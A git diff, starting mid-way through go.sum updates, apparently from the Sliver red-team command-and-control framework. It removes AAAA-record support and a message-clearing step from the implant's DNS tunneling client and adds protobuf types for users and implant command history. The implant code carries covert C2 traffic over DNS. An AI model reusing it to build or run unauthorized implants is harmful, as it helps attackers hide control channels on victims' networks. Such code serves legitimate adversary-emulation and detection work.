golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -528,12 +535,12 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
-golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
+golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
+golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
-golang.org/x/term v0.14.0 h1:LGK9IlZ8T9jvdy6cTdfKUCltatMFOehAQo9SRC46UQ8=
-golang.org/x/term v0.14.0/go.mod h1:TySc+nGkYR6qt8km8wUhuFRTVSMIX3XPR58y2lC8vww=
+golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4=
+golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -555,8 +562,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
-golang.org/x/tools v0.14.0 h1:jvNa2pY0M4r62jkRQ6RwEZZyPcymeL9XZMLBbV7U2nc=
-golang.org/x/tools v0.14.0/go.mod h1:uYBEerGOWcJyEORxN+Ek8+TT266gXkNlHdJBwexUsBg=
+golang.org/x/tools v0.16.0 h1:GO788SKMRunPIBCXiQyo2AaexLstOrVhuAL5YwsckQM=
+golang.org/x/tools v0.16.0/go.mod h1:kYVVN6I1mBNoB1OX+noeBjbRk4IUEPa7JJ+TJMEooJ0=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -665,6 +672,8 @@ modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE=
+mvdan.cc/sh/v3 v3.7.0 h1:lSTjdP/1xsddtaKfGg7Myu7DnlHItd3/M2tomOcNNBg=
+mvdan.cc/sh/v3 v3.7.0/go.mod h1:K2gwkaesF/D7av7Kxl0HbF5kGOd2ArupNTX3X44+8l8=
nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g=
nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0=
software.sslmate.com/src/go-pkcs12 v0.2.1 h1:tbT1jjaeFOF230tzOIRJ6U5S1jNqpsSyNjzDd58H3J8=
diff --git a/implant/sliver/transports/dnsclient/dnsclient.go b/implant/sliver/transports/dnsclient/dnsclient.go
index ce1030dc44..cec656f79e 100644
--- a/implant/sliver/transports/dnsclient/dnsclient.go
+++ b/implant/sliver/transports/dnsclient/dnsclient.go
@@ -92,7 +92,6 @@ var (
ErrInvalidResponse = errors.New("invalid response")
ErrInvalidIndex = errors.New("invalid start/stop index")
ErrEmptyResponse = errors.New("empty response")
- ErrInvalidMsg = errors.New("invalid dns message")
)
// DNSOptions - c2 specific options
@@ -103,7 +102,6 @@ type DNSOptions struct {
MaxErrors int
WorkersPerResolver int
ForceBase32 bool
- NoTXT bool
ForceResolvConf string
ForceResolvers string
}
@@ -143,7 +141,6 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
MaxErrors: maxErrors,
WorkersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
- NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
ForceResolvers: c2URI.Query().Get("resolvers"),
}
@@ -170,7 +167,6 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
metadata: map[string]*ResolverMetadata{},
parent: parent,
forceBase32: opts.ForceBase32,
- noTXT: opts.NoTXT,
forceResolvConf: opts.ForceResolvConf,
forceResolvers: opts.ForceResolvers,
queryTimeout: opts.QueryTimeout,
@@ -196,7 +192,6 @@ type SliverDNSClient struct {
retryCount int
queryTimeout time.Duration
forceBase32 bool
- noTXT bool
forceResolvConf string
forceResolvers string
subdataSpace int
@@ -261,8 +256,6 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D
switch work.QueryType {
case dns.TypeA:
data, _, err = w.resolver.A(work.Domain)
- case dns.TypeAAAA:
- data, _, err = w.resolver.AAAA(work.Domain)
case dns.TypeTXT:
data, _, err = w.resolver.TXT(work.Domain)
}
@@ -299,7 +292,7 @@ func (s *SliverDNSClient) SessionInit() error {
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
s.resolvers = append(s.resolvers,
- NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
+ NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout),
)
}
// {{if .Config.Debug}}
@@ -347,14 +340,6 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
-
- if len(respData) < 1 {
- // {{if .Config.Debug}}
- log.Printf("[dns] no data received in message")
- // {{end}}
- return ErrEmptyResponse
- }
-
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
// {{if .Config.Debug}}
@@ -404,14 +389,7 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
resp := []byte{}
for _, subdata := range allSubdata {
-
- var respData []byte
- var err error
- if s.noTXT {
- respData, _, err = resolver.AAAA(subdata)
- } else {
- respData, _, err = resolver.TXT(subdata)
- }
+ respData, _, err := resolver.TXT(subdata)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg failure %v", err)
@@ -420,11 +398,6 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
if 0 < len(respData) {
resp = append(resp, respData...)
- } else {
- // {{if .Config.Debug}}
- log.Printf("[dns] no data received in response")
- // {{end}}
- return nil, ErrInvalidResponse
}
}
return resp, nil
@@ -452,7 +425,6 @@ func (s *SliverDNSClient) WriteEnvelope(envelope *pb.Envelope) error {
// ReadEnvelope - Recv an envelope from the server
func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
- var respData []byte
if s.closed {
return nil, ErrClosed
}
@@ -472,26 +444,14 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
// {{if .Config.Debug}}
log.Printf("[dns] poll msg domain: %v", domain)
// {{end}}
-
- if s.noTXT {
- respData, _, err = resolver.AAAA(domain)
- if err != nil {
- return nil, err
- }
- } else {
- respData, _, err = resolver.TXT(domain)
- if err != nil {
- return nil, err
- }
+ respData, _, err := resolver.TXT(domain)
+ if err != nil {
+ return nil, err
}
-
// {{if .Config.Debug}}
log.Printf("[dns] read msg resp data: %v", respData)
// {{end}}
if len(respData) < 1 {
- // {{if .Config.Debug}}
- log.Printf("[dns] no data received in response")
- // {{end}}
return nil, nil
}
@@ -511,38 +471,10 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
return nil, err
}
- if len(respData) < 1 {
- // {{if .Config.Debug}}
- log.Printf("[dns] no data received in message")
- // {{end}}
- return nil, nil
- }
-
plaintext, err := s.cipherCtx.Decrypt(ciphertext)
- if err != nil && err != cryptography.ErrReplayAttack {
- return nil, err
- }
-
- //Send clear
- clearMsg, err := s.clearMsg(dnsMsg.ID)
if err != nil {
return nil, err
}
- domain, err = s.joinSubdataToParent(clearMsg)
- if err != nil {
- return nil, err
- }
- // {{if .Config.Debug}}
- log.Printf("[dns] clear msg domain: %v", domain)
- // {{end}}
-
- respData, _, err = resolver.A(domain)
- if err != nil {
- // {{if .Config.Debug}}
- log.Printf("[dns] clear msg error: %s", err)
- // {{end}}
- }
-
envelope := &pb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
return envelope, err
@@ -597,12 +529,7 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
return nil, ErrInvalidResponse
}
- var bytesPerTxt uint32
- if s.noTXT {
- bytesPerTxt = 192
- } else {
- bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
- }
+ const bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
wg := &sync.WaitGroup{}
results := make(chan *DNSResult, int(manifest.Size/bytesPerTxt)+1)
@@ -628,21 +555,11 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
}
wg.Add(1)
-
- if s.noTXT {
- s.recvQueue <- &DNSWork{
- QueryType: dns.TypeAAAA,
- Domain: domain,
- Wg: wg,
- Results: results,
- }
- } else {
- s.recvQueue <- &DNSWork{
- QueryType: dns.TypeTXT,
- Domain: domain,
- Wg: wg,
- Results: results,
- }
+ s.recvQueue <- &DNSWork{
+ QueryType: dns.TypeTXT,
+ Domain: domain,
+ Wg: wg,
+ Results: results,
}
}
@@ -653,9 +570,6 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
recvData := make(chan []byte)
errors := []error{}
go func() {
- // {{if .Config.Debug}}
- log.Printf("[dns] Manifest Len: %d ", manifest.Size)
- // {{end}}
recvDataBuf := make([]byte, manifest.Size)
for result := range results {
if result.Err != nil {
@@ -663,14 +577,11 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
continue
}
// {{if .Config.Debug}}
- log.Printf("[dns] read result data: Len: %d %v", len(result.Data), result.Data)
+ log.Printf("[dns] read result data: %v", result.Data)
// {{end}}
recvMsg := &dnspb.DNSMessage{}
err := proto.Unmarshal(result.Data, recvMsg)
if err != nil {
- // {{if .Config.Debug}}
- log.Printf("[dns] unmarshal error: %s", err)
- // {{end}}
errors = append(errors, result.Err)
continue
}
@@ -678,9 +589,6 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
log.Printf("[dns] recv msg: %v", recvMsg)
// {{end}}
if manifest.Size < recvMsg.Start || int(manifest.Size) < int(recvMsg.Start)+len(recvMsg.Data) {
- // {{if .Config.Debug}}
- log.Printf("[dns] invalid index")
- // {{end}}
errors = append(errors, ErrInvalidIndex)
continue
}
@@ -906,23 +814,6 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
}
}
-func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
- nonceBuf := make([]byte, 8)
- rand.Read(nonceBuf)
- clearMsg, _ := proto.Marshal(&dnspb.DNSMessage{
- ID: msgId,
- Type: dnspb.DNSMessageType_CLEAR,
- Data: nonceBuf,
- })
- if s.enableCaseSensitiveEncoder {
- msg, _ := s.base58.Encode(clearMsg)
- return string(msg), nil
- } else {
- msg, _ := s.base32.Encode(clearMsg)
- return string(msg), nil
- }
-}
-
func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
diff --git a/implant/sliver/transports/dnsclient/resolver-generic.go b/implant/sliver/transports/dnsclient/resolver-generic.go
index 935345d4b8..daa33ea741 100644
--- a/implant/sliver/transports/dnsclient/resolver-generic.go
+++ b/implant/sliver/transports/dnsclient/resolver-generic.go
@@ -39,7 +39,7 @@ var (
)
// NewGenericResolver - Instantiate a new generic resolver
-func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration, parent string) DNSResolver {
+func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration) DNSResolver {
if retries < 1 {
retries = 1
}
@@ -52,7 +52,6 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
WriteTimeout: timeout,
},
base64: encoders.Base64Encoder{},
- parent: parent,
}
}
@@ -63,7 +62,6 @@ type GenericResolver struct {
retryWait time.Duration
resolver *dns.Client
base64 encoders.Base64Encoder
- parent string
}
// Address - Return the address of the resolver
@@ -116,87 +114,6 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
return records, rtt, err
}
-// AAAA - Query for AAAA records
-func (r *GenericResolver) AAAA(domain string) ([]byte, time.Duration, error) {
- var resp []byte
- var rtt time.Duration
- var err error
- for attempt := 0; attempt < r.retries; attempt++ {
- resp, rtt, err = r.aaaa(domain)
- if err == nil {
- break
- }
- // {{if .Config.Debug}}
- log.Printf("[dns] query error: %s (retry wait: %s)", err, r.retryWait)
- // {{end}}
- time.Sleep(r.retryWait)
- }
- return resp, rtt, err
-}
-
-func (r *GenericResolver) aaaa(domain string) ([]byte, time.Duration, error) {
- // {{if .Config.Debug}}
- log.Printf("[dns] %s->AAAA record of %s ?", r.address, domain)
- // {{end}}
- resp, rtt, err := r.localQuery(domain, dns.TypeAAAA)
- if err != nil {
- return nil, rtt, err
- }
- if resp.Rcode != dns.RcodeSuccess {
- // {{if .Config.Debug}}
- log.Printf("[dns] error response status: %v", resp.Rcode)
- // {{end}}
- return nil, rtt, ErrInvalidRcode
- }
- records := make([]byte, 512)
- dataSize := uint32(0)
-
- if len(resp.Answer) > 0 {
- for _, answer := range resp.Answer {
- switch answer := answer.(type) {
- case *dns.AAAA:
- // {{if .Config.Debug}}
- log.Printf("[dns] answer (aaaa): %v", answer.AAAA)
- // {{end}}
-
- chunkMeta := uint32(answer.Hdr.Ttl)
- chunkIdx := (chunkMeta & 0xff00) >> 8
- // {{if .Config.Debug}}
- log.Printf("[dns] chunk idx: %d", chunkIdx)
- // {{end}}
-
- tempSize := chunkMeta & 0xff
- if dataSize != 0 {
- if tempSize != dataSize {
- // {{if .Config.Debug}}
- log.Printf("[dns] inconsistent record size. should all be the same: %d", tempSize)
- // {{end}}
- return nil, rtt, ErrInvalidResponse
- }
- } else {
- dataSize = tempSize
- }
-
- copy(records[chunkIdx*16:], []byte(answer.AAAA))
- //records = append(records, []byte(answer.AAAA)...)
- }
- }
- // {{if .Config.Debug}}
- } else {
- log.Printf("[dns] answer (aaaa): no records returned")
- // {{end}}
- }
-
- data := []byte{}
- if dataSize > 0 {
- // Trim output data
- data = make([]byte, dataSize)
- copy(data, records[0:dataSize])
- }
-
- return data, rtt, err
-}
-
// TXT - Query for TXT records
func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) {
var resp []byte
@@ -228,24 +145,18 @@ func (r *GenericResolver) txt(domain string) ([]byte, time.Duration, error) {
}
records := ""
- data := []byte{}
- if len(resp.Answer) > 0 {
- for _, answer := range resp.Answer {
- switch answer := answer.(type) {
- case *dns.TXT:
- // {{if .Config.Debug}}
- log.Printf("[dns] answer (txt): %v", answer.Txt)
- // {{end}}
- records += strings.Join(answer.Txt, "")
- }
- }
- if 0 < len(records) {
- data, err = r.base64.Decode([]byte(records))
+ for _, answer := range resp.Answer {
+ switch answer := answer.(type) {
+ case *dns.TXT:
+ // {{if .Config.Debug}}
+ log.Printf("[dns] answer (txt): %v", answer.Txt)
+ // {{end}}
+ records += strings.Join(answer.Txt, "")
}
- // {{if .Config.Debug}}
- } else {
- log.Printf("[dns] answer (txt): no records returned")
- // {{end}}
+ }
+ data := []byte{}
+ if 0 < len(records) {
+ data, err = r.base64.Decode([]byte(records))
}
return data, rtt, err
}
diff --git a/implant/sliver/transports/dnsclient/resolver-system.go b/implant/sliver/transports/dnsclient/resolver-system.go
index 9dbec2acdf..6918fc91cf 100644
--- a/implant/sliver/transports/dnsclient/resolver-system.go
+++ b/implant/sliver/transports/dnsclient/resolver-system.go
@@ -19,7 +19,6 @@ package dnsclient
*/
import (
- "context"
"net"
"strings"
"time"
@@ -71,26 +70,6 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
return addrs, rtt, nil
}
-// AAAA - Query for AAAA records
-func (r *SystemResolver) AAAA(domain string) ([]byte, time.Duration, error) {
- // {{if .Config.Debug}}
- log.Printf("[dns] %s->AAAA record of %s?", r.Address(), domain)
- // {{end}}
- started := time.Now()
- ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", domain)
- rtt := time.Since(started)
- if err != nil {
- return nil, rtt, err
- }
- var addrs []byte
- for _, ip := range ips {
- if ip.To16() != nil {
- addrs = append(addrs, ip.To16()...)
- }
- }
- return addrs, rtt, nil
-}
-
// TXT - Query for TXT records
func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
diff --git a/implant/sliver/transports/dnsclient/resolver.go b/implant/sliver/transports/dnsclient/resolver.go
index 02432204c7..09cf53ce74 100644
--- a/implant/sliver/transports/dnsclient/resolver.go
+++ b/implant/sliver/transports/dnsclient/resolver.go
@@ -26,6 +26,5 @@ import (
type DNSResolver interface {
Address() string
A(string) ([]byte, time.Duration, error)
- AAAA(string) ([]byte, time.Duration, error)
TXT(string) ([]byte, time.Duration, error)
}
diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go
index ca3b91887c..d28b31564a 100644
--- a/protobuf/clientpb/client.pb.go
+++ b/protobuf/clientpb/client.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.31.0
-// protoc v4.25.0
+// protoc-gen-go v1.31.0-devel
+// protoc v3.15.8
// source: clientpb/client.proto
package clientpb
@@ -1164,7 +1164,125 @@ func (x *Version) GetArch() string {
return ""
}
-// [ Client Logs ] ----------------------------------------
+type Users struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Users []*User `protobuf:"bytes,1,rep,name=Users,proto3" json:"Users,omitempty"`
+}
+
+func (x *Users) Reset() {
+ *x = Users{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_clientpb_client_proto_msgTypes[1]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *Users) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Users) ProtoMessage() {}
+
+func (x *Users) ProtoReflect() protoreflect.Message {
+ mi := &file_clientpb_client_proto_msgTypes[1]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use Users.ProtoReflect.Descriptor instead.
+func (*Users) Descriptor() ([]byte, []int) {
+ return file_clientpb_client_proto_rawDescGZIP(), []int{1}
+}
+
+func (x *Users) GetUsers() []*User {
+ if x != nil {
+ return x.Users
+ }
+ return nil
+}
+
+type User struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
+ Online bool `protobuf:"varint,2,opt,name=Online,proto3" json:"Online,omitempty"`
+ LastSeen int64 `protobuf:"varint,3,opt,name=LastSeen,proto3" json:"LastSeen,omitempty"`
+ Clients int32 `protobuf:"varint,4,opt,name=Clients,proto3" json:"Clients,omitempty"`
+}
+
+func (x *User) Reset() {
+ *x = User{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_clientpb_client_proto_msgTypes[2]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *User) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*User) ProtoMessage() {}
+
+func (x *User) ProtoReflect() protoreflect.Message {
+ mi := &file_clientpb_client_proto_msgTypes[2]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use User.ProtoReflect.Descriptor instead.
+func (*User) Descriptor() ([]byte, []int) {
+ return file_clientpb_client_proto_rawDescGZIP(), []int{2}
+}
+
+func (x *User) GetName() string {
+ if x != nil {
+ return x.Name
+ }
+ return ""
+}
+
+func (x *User) GetOnline() bool {
+ if x != nil {
+ return x.Online
+ }
+ return false
+}
+
+func (x *User) GetLastSeen() int64 {
+ if x != nil {
+ return x.LastSeen
+ }
+ return 0
+}
+
+func (x *User) GetClients() int32 {
+ if x != nil {
+ return x.Clients
+ }
+ return 0
+}
+
+// [ Client Logs ] ------------------------------------------
type ClientLogData struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -1177,7 +1295,7 @@ type ClientLogData struct {
func (x *ClientLogData) Reset() {
*x = ClientLogData{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[1]
+ mi := &file_clientpb_client_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -1190,7 +1308,7 @@ func (x *ClientLogData) String() string {
func (*ClientLogData) ProtoMessage() {}
func (x *ClientLogData) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[1]
+ mi := &file_clientpb_client_proto_msgTypes[3]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -1203,19 +1321,265 @@ func (x *ClientLogData) ProtoReflect() protoreflect.Message {
// Deprecated: Use ClientLogData.ProtoReflect.Descriptor instead.
func (*ClientLogData) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{1}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{3}
}
func (x *ClientLogData) GetStream() string {
if x != nil {
- return x.Stream
+ return x.Stream
+ }
+ return ""
+}
+
+func (x *ClientLogData) GetData() []byte {
+ if x != nil {
+ return x.Data
+ }
+ return nil
+}
+
+type ImplantCommand struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Stream string `protobuf:"bytes,1,opt,name=Stream,proto3" json:"Stream,omitempty"`
+ User string `protobuf:"bytes,2,opt,name=User,proto3" json:"User,omitempty"`
+ ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"`
+ ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"`
+ ExecutedAt int64 `protobuf:"varint,5,opt,name=ExecutedAt,proto3" json:"ExecutedAt,omitempty"`
+ Block string `protobuf:"bytes,6,opt,name=Block,proto3" json:"Block,omitempty"`
+ Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
+}
+
+func (x *ImplantCommand) Reset() {
+ *x = ImplantCommand{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_clientpb_client_proto_msgTypes[4]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *ImplantCommand) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ImplantCommand) ProtoMessage() {}
+
+func (x *ImplantCommand) ProtoReflect() protoreflect.Message {
+ mi := &file_clientpb_client_proto_msgTypes[4]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use ImplantCommand.ProtoReflect.Descriptor instead.
+func (*ImplantCommand) Descriptor() ([]byte, []int) {
+ return file_clientpb_client_proto_rawDescGZIP(), []int{4}
+}
+
+func (x *ImplantCommand) GetStream() string {
+ if x != nil {
+ return x.Stream
+ }
+ return ""
+}
+
+func (x *ImplantCommand) GetUser() string {
+ if x != nil {
+ return x.User
+ }
+ return ""
+}
+
+func (x *ImplantCommand) GetImplantID() string {
+ if x != nil {
+ return x.ImplantID
+ }
+ return ""
+}
+
+func (x *ImplantCommand) GetImplantName() string {
+ if x != nil {
+ return x.ImplantName
+ }
+ return ""
+}
+
+func (x *ImplantCommand) GetExecutedAt() int64 {
+ if x != nil {
+ return x.ExecutedAt
+ }
+ return 0
+}
+
+func (x *ImplantCommand) GetBlock() string {
+ if x != nil {
+ return x.Block
+ }
+ return ""
+}
+
+func (x *ImplantCommand) GetRequest() *commonpb.Request {
+ if x != nil {
+ return x.Request
+ }
+ return nil
+}
+
+type HistoryRequest struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ UserOnly bool `protobuf:"varint,1,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"`
+ MaxLines int32 `protobuf:"varint,2,opt,name=MaxLines,proto3" json:"MaxLines,omitempty"`
+ ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"`
+ ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"`
+ Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
+}
+
+func (x *HistoryRequest) Reset() {
+ *x = HistoryRequest{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_clientpb_client_proto_msgTypes[5]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *HistoryRequest) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*HistoryRequest) ProtoMessage() {}
+
+func (x *HistoryRequest) ProtoReflect() protoreflect.Message {
+ mi := &file_clientpb_client_proto_msgTypes[5]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead.
+func (*HistoryRequest) Descriptor() ([]byte, []int) {
+ return file_clientpb_client_proto_rawDescGZIP(), []int{5}
+}
+
+func (x *HistoryRequest) GetUserOnly() bool {
+ if x != nil {
+ return x.UserOnly
+ }
+ return false
+}
+
+func (x *HistoryRequest) GetMaxLines() int32 {
+ if x != nil {
+ return x.MaxLines
+ }
+ return 0
+}
+
+func (x *HistoryRequest) GetImplantID() string {
+ if x != nil {
+ return x.ImplantID
+ }
+ return ""
+}
+
+func (x *HistoryRequest) GetImplantName() string {
+ if x != nil {
+ return x.ImplantName
+ }
+ return ""
+}
+
+func (x *HistoryRequest) GetRequest() *commonpb.Request {
+ if x != nil {
+ return x.Request
+ }
+ return nil
+}
+
+// History - Command history content.
+type History struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
